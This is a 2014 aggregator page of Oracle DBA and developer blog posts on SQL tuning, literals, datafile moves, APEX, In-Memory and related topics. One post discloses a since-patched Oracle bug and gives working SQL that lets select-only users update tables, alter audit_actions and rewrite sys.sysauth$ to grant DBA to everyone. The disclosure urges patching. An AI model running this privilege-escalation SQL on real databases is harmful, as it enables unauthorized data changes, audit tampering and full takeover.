Feed aggregator

The Hitchhiker’s Guide to the EXPLAIN PLAN: The story so far (Part 1–10)

Iggy Fernandez - Sat, 2014-06-28 16:13
On the Toad World site, I’m writing a series of blog posts and articles on the subject of EXPLAIN PLAN. I’m using EXPLAIN PLAN as a motif to teach not just SQL tuning but also relational theory, logical database design, and physical database design. In a year’s time, I hope to have enough material for a […]
Categories: DBA Blogs

Editor’s Choice award at ODTUG Kscope14: NoSQL and Big Data for the Oracle Professional

Iggy Fernandez - Sat, 2014-06-28 08:42
My paper on NoSQL and Big Data won the Editor’s Choice award at ODTUG Kscope14. Here are some key points from the paper: The relational camp made serious mistakes that limited the performance and usefulness of the relational model. NoSQL is based on the incorrect premise that tables in the relational model must be mapped to […]
Categories: DBA Blogs

Maven support for 12.1.3 Service Bus & SOA Suite artifacts

Edwin Biemond - Fri, 2014-06-27 15:56
With the 12.1.3 release of Oracle Service Bus and Oracle SOA Suite we finally can build all our soa projects with Maven. And this time we can do it natively without calling a utility like configjar or ANT from Maven . We start by setting all the required variables like JAVA_HOME,M2_HOME and PATH export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_45.jdk/Contents/Home/jre export M2_HOME=

Open Source as religion - when the Bazaar becomes a Cathedral

Steve Jones - Fri, 2014-06-27 10:00
The seminal book on Open Source development "Cathedral and the Bazaar" talks eloquently about the difference between commercial software development and open source development.  In the past few years however there has been another shift, a shift where companies are actively releasing their technology into Open Source as a competitive differentiation.  A claim of 'we are open' because the source
Categories: Fusion Middleware

OBIEE Training Site

Abhinav Agarwal - Tue, 2014-06-24 13:33
I was contacted by Seth Williams, who pointed me to this OBIEE training site - http://www.fireboxtraining.com/obiee-training, and asked if I would link to it. There is a an online tutorial, as well as a video, on how to create KPIs using OBIEE - How To Use KPIs | OBIEE Online Training Tutorial

I think this is useful, so am posting it to my blog - which, by the way, you would have seen is not being updated regularly. Feel free to browse to the site. Do let Seth and the people at Firebox know what you think of the site and the tutorial.

Disclaimer: I am not endorsing the site or the trainings. But you know that.

The Art of War for Small Business

Surachart Opun - Mon, 2014-06-23 11:51
The Art of War is an ancient Chinese military treatise attributed to Sun Tzu, a high-ranking military general, strategist and tactician. A lot of books have written by using Sun Tzu's ancient The Art of War and adaptation for military, political, and business.

The Art of War for Small Business Defeat the Competition and Dominate the Market with the Masterful Strategies of Sun Tzu, this is a book was applied the Art of War for small business. So, it's a perfect book for small business owners and entrepreneurs entrenched in fierce competition for customers, market share, talent and etc. In a book, it was written with 4 parts with 224 pages - SEIZE THE ADVANTAGE WITH SUN TZU, UNDERSTANDING: ESSENTIAL SUN TZU, PRINCIPLES FOR THE BATTLEFIELD, ADVANCED SUN TZU: STRATEGY FOR YOUR SMALL.
It's not much pages for read and it begins with why the art of war should be used with the small business and gives lot of examples and idea how to apply the art of war with the small business and use it everyday (It helps how to Choose the right ground for your battles, Prepare without falling prey to paralysis, Leverage strengths while overcoming limitations, Strike competitors' weakest points and seize every opportunity, Focus priorities and resources on conquering key challenges, Go where the enemy is not, Build and leverage strategic alliances).

After reading, readers should see the picture of  the common advantages and disadvantages in the small business and why the small business needs Sun Tzu. In additional, Readers will learn the basic of the art of war and idea to apply with the small business. It shows the example by giving the real world of small business.




Categories: DBA Blogs

Literally speaking

Gary Myers - Fri, 2014-06-20 22:14
Reading Scott Wesley's blog from a days ago, and he made a remark about being unable to concatenate strings when using the ANSI date construct.

The construct date '1900-01-01' is an example of a literal, in the same way as '01-01' is string literal and 1900 is a numeric literal. We even have use some more exotic numeric literals such as 1e3 and 3d .

Oracle is pretty generous with implicit conversions from strings to numbers and vice versa, so it doesn't object when we assign a numeric literal to a CHAR or VARCHAR2 variable, or a string to a NUMBER variable (as long as the content is appropriate). We are allowed to assign the string literal '1e3' to a number since the content is numeric, albeit in scientific notation.

So there are no problems with executing the following:
declare
  v number := '1e3';
begin
  dbms_output.put_line(v);
end;
/

However while 3d and 4.5f can be used as numeric literals, Oracle will object to converting the strings '3d' or '4.5f' into a number because the 'f' and 'd' relate to the data type (Binary Float and Binary Double) and not to the content.

Similarly, we're not allowed to try to use string expressions (or varchar2/char variables) within a date literal, or the related timestamp literal. It must be the correct sequence of numbers and separators enclosed by single quotes. It doesn't complain if you use the alternative quoting mechanism, such as date q'[1902-05-01]' but I'd recommend against it as being undocumented and superfluous.

Going further, we have interval literals such as interval '15' minute .In these constructs we are not allowed to omit the quotes around the numeric component. And we're not allowed to use scientific notation for the 'number' either (but again the alternative quoting mechanism is permitted). 

I've built an affection for interval literals, which are well suited to flashback queries.

select versions_operation, a.* 
from test versions between timestamp sysdate - interval '1' minute and sysdate a;

Confusingly the TIMESTAMP keyword in the query above is part of the flashback syntax, and you have to repeat the word if you are using a timestamp literal in a flashback query. 

select versions_operation, a.*

from test versions between timestamp timestamp '2014-06-21 12:50:00' 
                   and sysdate a


Move That Datafile!

alt.oracle - Thu, 2014-06-19 15:56
Moving datafiles has always been a pain.  There are several steps, it’s fairly easy to make a mistake and it requires the datafile to be offline.  There are also different steps depending on whether the database is in ARCHIVELOG mode or not.  In ARCHIVELOG mode, the steps are…

1)      Take the tablespace containing the datafile offline
2)      Copy/rename the datafile at the OS layer
3)      Use ALTER TABLESPACE…RENAME DATAFILE to rename the datafile so that the controlfile will be aware of it
4)      Backup the database for recovery purposes (recommended)

If the database is in NOARCHIVELOG mode, you have to shutdown the DB, put it in the MOUNT state, etc, etc.  That’s certainly not that hard to do, but you get the feeling that there should be a better way.  Now in Oracle 12c, there is – using the ALTER DATABASE MOVE DATAFILE command.  With this command, you can move a datafile, while it’s online, in one simple step.  Let’s set this up.

SQL> create tablespace test datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf' size 10m;

Tablespace created.

SQL> create table altdotoracle.tab1 (col1 number) tablespace test;

Table created.

SQL> insert into altdotoracle.tab1 values (1);

1 row created.

SQL> commit;

Commit complete.

Let’s go the extra mile and lock the table in that datafile in another session.

SQL> lock table altdotoracle.tab1 in exclusive mode;

Table(s) Locked.

Now let’s use the command.

SQL> alter database move datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf'
  2   to '/oracle/base/oradata/TEST1/datafile/newtest01.dbf';

Database altered.

That’s all there is to it.  Datafile moved/renamed in one step while a table it contained was locked.

SQL> select file_name from dba_data_files where file_name like '%newtest%';

FILE_NAME
--------------------------------------------------------------------------------
/oracle/base/oradata/TEST1/datafile/newtest01.dbf
Categories: DBA Blogs

Android Update: 4.4.3

Dietrich Schroff - Thu, 2014-06-19 12:36
After nearly everyone upgraded to 4.4.3 my device came up with the icon for upgrading android to its next version:

For a complete history of all updates visit this posting.

Intermediate Python Practical Techniques for Deeper Skill Development

Surachart Opun - Thu, 2014-06-19 10:40
It's time to learn more about Python. I found "Intermediate Python Practical Techniques for Deeper Skill Development" video course by Python expert Steve Holden.
It's very useful for Python video learning, but users should have basic about Python. They must install ipython.
Note start ipython by " ipython  notebook" command and users can check how to install ipython?and users should download example codes at https://github.com/DevTeam-TheOpenBastion/int-py-notes

This video course gaves deeply Python learning topics by using iPython, including:

  • Functions: return values, arguments, decorators, and the function API
  • Comprehensions, generator functions, and generator expressions
  • Understanding the import system and namespace relationships
  • Using the Python DB API to query and maintain relational data, and JSON to extract data from the Web
  • The NumPy, SciPy, and Matplotlib libraries for numerical and analytical computing
  • An introduction to unit testing with unit test
  • Deeper understanding of Unicode, with explanations of encoding and decoding techniques and the relationship between byte strings and text
  • An introduction to textual analysis using regular expressions
  • Information sources for documentation, further research, and coding style considerations

First of all, Users should install "ipython" and download examples codes. Users will be able to learn Python each topic easier, because it's easy to follow each example demo in video. It's very good to use this video course and iPython for Python improvement.

Categories: DBA Blogs

Oracle Application Express 5.0 Early Adopter 2 now available!

Joel Kallman - Wed, 2014-06-18 18:48
Just in time for the ever-awesome ODTUG KScope 14 conference...we are happy to announce the availability of Oracle Application Express 5.0 Early Adopter 2.  The response from Early Adopter 1 was overwhelming (with over 4,000 participants), and we look forward to the same great contributions from the APEX community for Early Adopter 2.  You can access the Early Adopter 2 at https://apexea.oracle.com.

As before, the authentication for Oracle Application Express requires an Oracle account.  This is the same account you would use for many Oracle sites, including the OTN Community discussion forums.  If you don't have an account, then simply follow the instructions on the login page to "Sign up for a free Oracle Web account".  However, ensure that you specify the same email address as your Oracle Web account when requesting a new workspace.

The Known Issues will be populated soon, as well the application to review your submitted feedback.  Our team has made tremendous strides since Early Adopter 1, and we continue to believe that APEX 5.0 will become a watershed release for APEX and the community.

Thank you for all of your support.

Is your database secure? Are you sure? Are you *really* sure?

Mathias Magnusson - Wed, 2014-06-18 08:47

A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.

Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.

Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. :-)

I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.

So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not ant to test with privilege escalation in a production system though.

Let us first create som users for our test.

drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;
--
drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;
--
drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;

We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.

Lets set up a test table in the usra account.
create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');
--
commit;
--
grant select on t1 to usrb;

We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.
drop view view1;
create view view1 as select * from usra.t1;
update view1 set col_a = 'Whoops1';

So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.

Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.

drop view view2;
create view view2 as select * from view1 where col_a in (select max (col_a) from view1 group by col_a);
update view2 set col_a = 'Whoops2';

This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.

Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?

drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';

Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.

What if we just read a hard-coded value from the first row in the table, would that work?
drop view view4;
create view view4 as select * from view1 where 1 in (select 1 from view1 where rownum = 1);
update view4 set col_a = 'Whoops4';

Yup, that is enough to break through the privileges.

How about just using a select without even having to have the right to create a view?
update
(with x as (select * from usra.t1) select * from x) t1
set col_a = 'Whops5';

Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.

How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as user_actions.

update
(with x as (select * from audit_actions) select * from x) t1
set name = 'Mathias was here';

This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.

How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.

select * from sys.sysauth$
where grantee# = (select user_id from all_users where username = 'HR')
and rownum = 1;

Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.

update
(with x as (select * from sys.sysauth$ where grantee# = 103 and privilege# = -264 and sequence# = 1551)
select * from x) t1
set grantee# = 1
,privilege# = 4;

Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.

So I ask again, are you *really* sure that your database is secure?

This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.

And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.


The empire strikes back!

Karl Reitschuster - Wed, 2014-06-18 06:31

About 3 years ago SAP started to create a new database engine, SAP HANA, with a pure In-Memory concept. SAP aggressively move it's new database to it's software stack. The database was not used as cache but for running Enterprise Application satisfying both OLTP and OLAP demands on the same database.  

As oracle announced the new Oracle 12c in late 2012 there the 'c' was for cloud based computing, means the simplification of creating several database instances under the hood of a container parent database. For the end user this wasn't a visible benefit. It seemed Oracle did ignore SAP HANA. But even you cannot compare number installed databases for SAP HANA and Oracle HANA made an impact. Something new and very visible to the end user arises.

Now about a half year Oracles In-Memory Option announcement the European launch event was done on Tuesday this week. In the radison Blue hotel - which was a very exciting and comfortable place for that - the conference room was much more filled up with the oracle followers then the soccer arenas of this years soccer world championship.



The event was well organized and mixed up with high professional speakers.

What still in my mind was ...

Maria Colgan introduced the more detailed usage and environment of the Oracle In-Memory Option. She did it in a so clear and compact form - I am really impressed. Also the life demos have been amazing.

I was also impressed about Dr. Maaike Limper's session. She works as scientist at CERN; and tested to use the In-Memory Option to get faster analysis about particle collisions and used a data model of particle typed tables with hundreds of parameter per particle and immense number of rows. By using the In-Memory Option she said it was possible to play with data to drill down and possible find something new due the detected data patterns of the sampled particle sensor data.

Finally Dr. Dietmar Neugebauer  held a session like 'is the DWH dead now?' which proofed clearly the DWH is not only about analytic queries and so superfluous but also to consolidate and validate data from different data-sources/systems of the whole company. So the DWH is not dead with introduction of the new In-Memory Option. Maybe some 1:1 replication of operative data will get obsolete.

At the end of the event everybody knows and feels something has happened in the database world which will be visible for all end users and will have a tremendous effect on system landscapes and software development - back to database centric ultra-fast processing.

/Karl

Oracle GoldenGate Data Transformation

VitalSoftTech - Tue, 2014-06-17 22:05
Oracle GoldenGate supports data mapping and manipulation. It is done by using options of Table (Extract) and Map (Replicat) parameters. By default OGG assumes that SOURCE and TARGET table definitions are same that part of replication.
Categories: DBA Blogs

9th Planboard DBA Symposium

Rob van Wijk - Tue, 2014-06-17 17:23
A couple of months ago, Nienke Gijsen invited me to speak about materialized views at the upcoming Planboard DBA Symposium. Because I had the pleasure of presenting before, I knew the conference is always well organized and a pleasure to visit. So of course I accepted the invitation. We agreed I'd talk on "just" incremental refreshes of materialized views using materialized view logs and about myRob van Wijkhttp://www.blogger.com/profile/00499478359372903250noreply@blogger.com0

The Hitchhiker’s Guide to the EXPLAIN PLAN (Act II)

Iggy Fernandez - Mon, 2014-06-16 14:04
Over at ToadWorld: Part 5: SQL Sucks! Part 6: Trees Rule Part 7: Don’t pre-order your EXPLAIN PLAN Part 8: Tree Menagerie Bonus article: Equivalence of Relational Algebra and Relational Calculus The story so far: A relational database is “a database in which: the data is perceived by the user as tables (and nothing but tables)  and […]
Categories: DBA Blogs

A terribly oblivious ultra-rich man

FeuerThoughts - Mon, 2014-06-16 09:48
Steve Ballmer is a terribly oblivious ultra-rich man.

His offer of $2B for the Los Angeles Clippers is so ridiculously outsized and unjustified, plus it so richly rewards Sterling for, um, for saying something in private.

[Interesting to consider how in the US, land of free speech, this nasty brutish fellow is being punished -well he was being punished before Ballmer rewarded him - for his private thoughts. That's pretty awful when you think about it.]

Anyway back to Ballmer. His offer is so absurd that it becomes patently obvious to everyone that he has so much money it's simply no big deal for him to throw $2B on the table to unambiguously cinch the deal. 

The aristocracy in France did quite well, too, until they forgot that they were supposed to pretend at lesat a little bit that everyone else weren't virtually slaves for them. But when they got too flagrant, they paid, oh how they paid.

And here in the 21st century, in what is supposedly and still formally a democracy, with citizens supposedly being equal under the law, you really don't want to draw attention to your beyond obscene wealth.

Bad move, Ballmer. If I were a fellow billionaire, I'd get in touch and tell him to tone it down. 
Categories: Development

The closer you look....

FeuerThoughts - Mon, 2014-06-16 09:45
In the last couple of years, I have shifted my attention away from the human condition (wars here and there, cool new gadgets, etc.) to the non-human condition: the natural world of trees, water, creatures large and small, the process of evolution.

Along the way, I have been reminded that what you pay the most attention to is what your brain spends the most time thinking about (at least the parts of my brain that "I" am "conscious" of). So I need to be careful about what I pay attention to (one reason that I have stopped watching television almost completely). 

And spending ten plus hours a week outdoors, in the woods, cutting back invasives and rescuing trees, has reinforced this to me:

With living things, the more I watch and more closely I watch (and smell and taste), the more amazed I am by the wonders of life. And the more alive I feel,

With manufactured things, it is just the opposite.

The more closely I look at something made by humans, the more sterile, dead and energy-sucking it appears. And the more I watch (or smell or taste), the more deadened I feel.

Perhaps this is not such a big surprise, since everything that humans make is dead, and built upon the deaths of many creatures. Sorry if that sounds like such a downer, but I believe it is simply a statement of fact.

Anyway, no need to feel down. Just go outside, into the trees, into a field, away from things we make, take a deep breath, feel the sun on your face....and you will feel much better.
Categories: Development

Pages

Subscribe to Oracle FAQ aggregator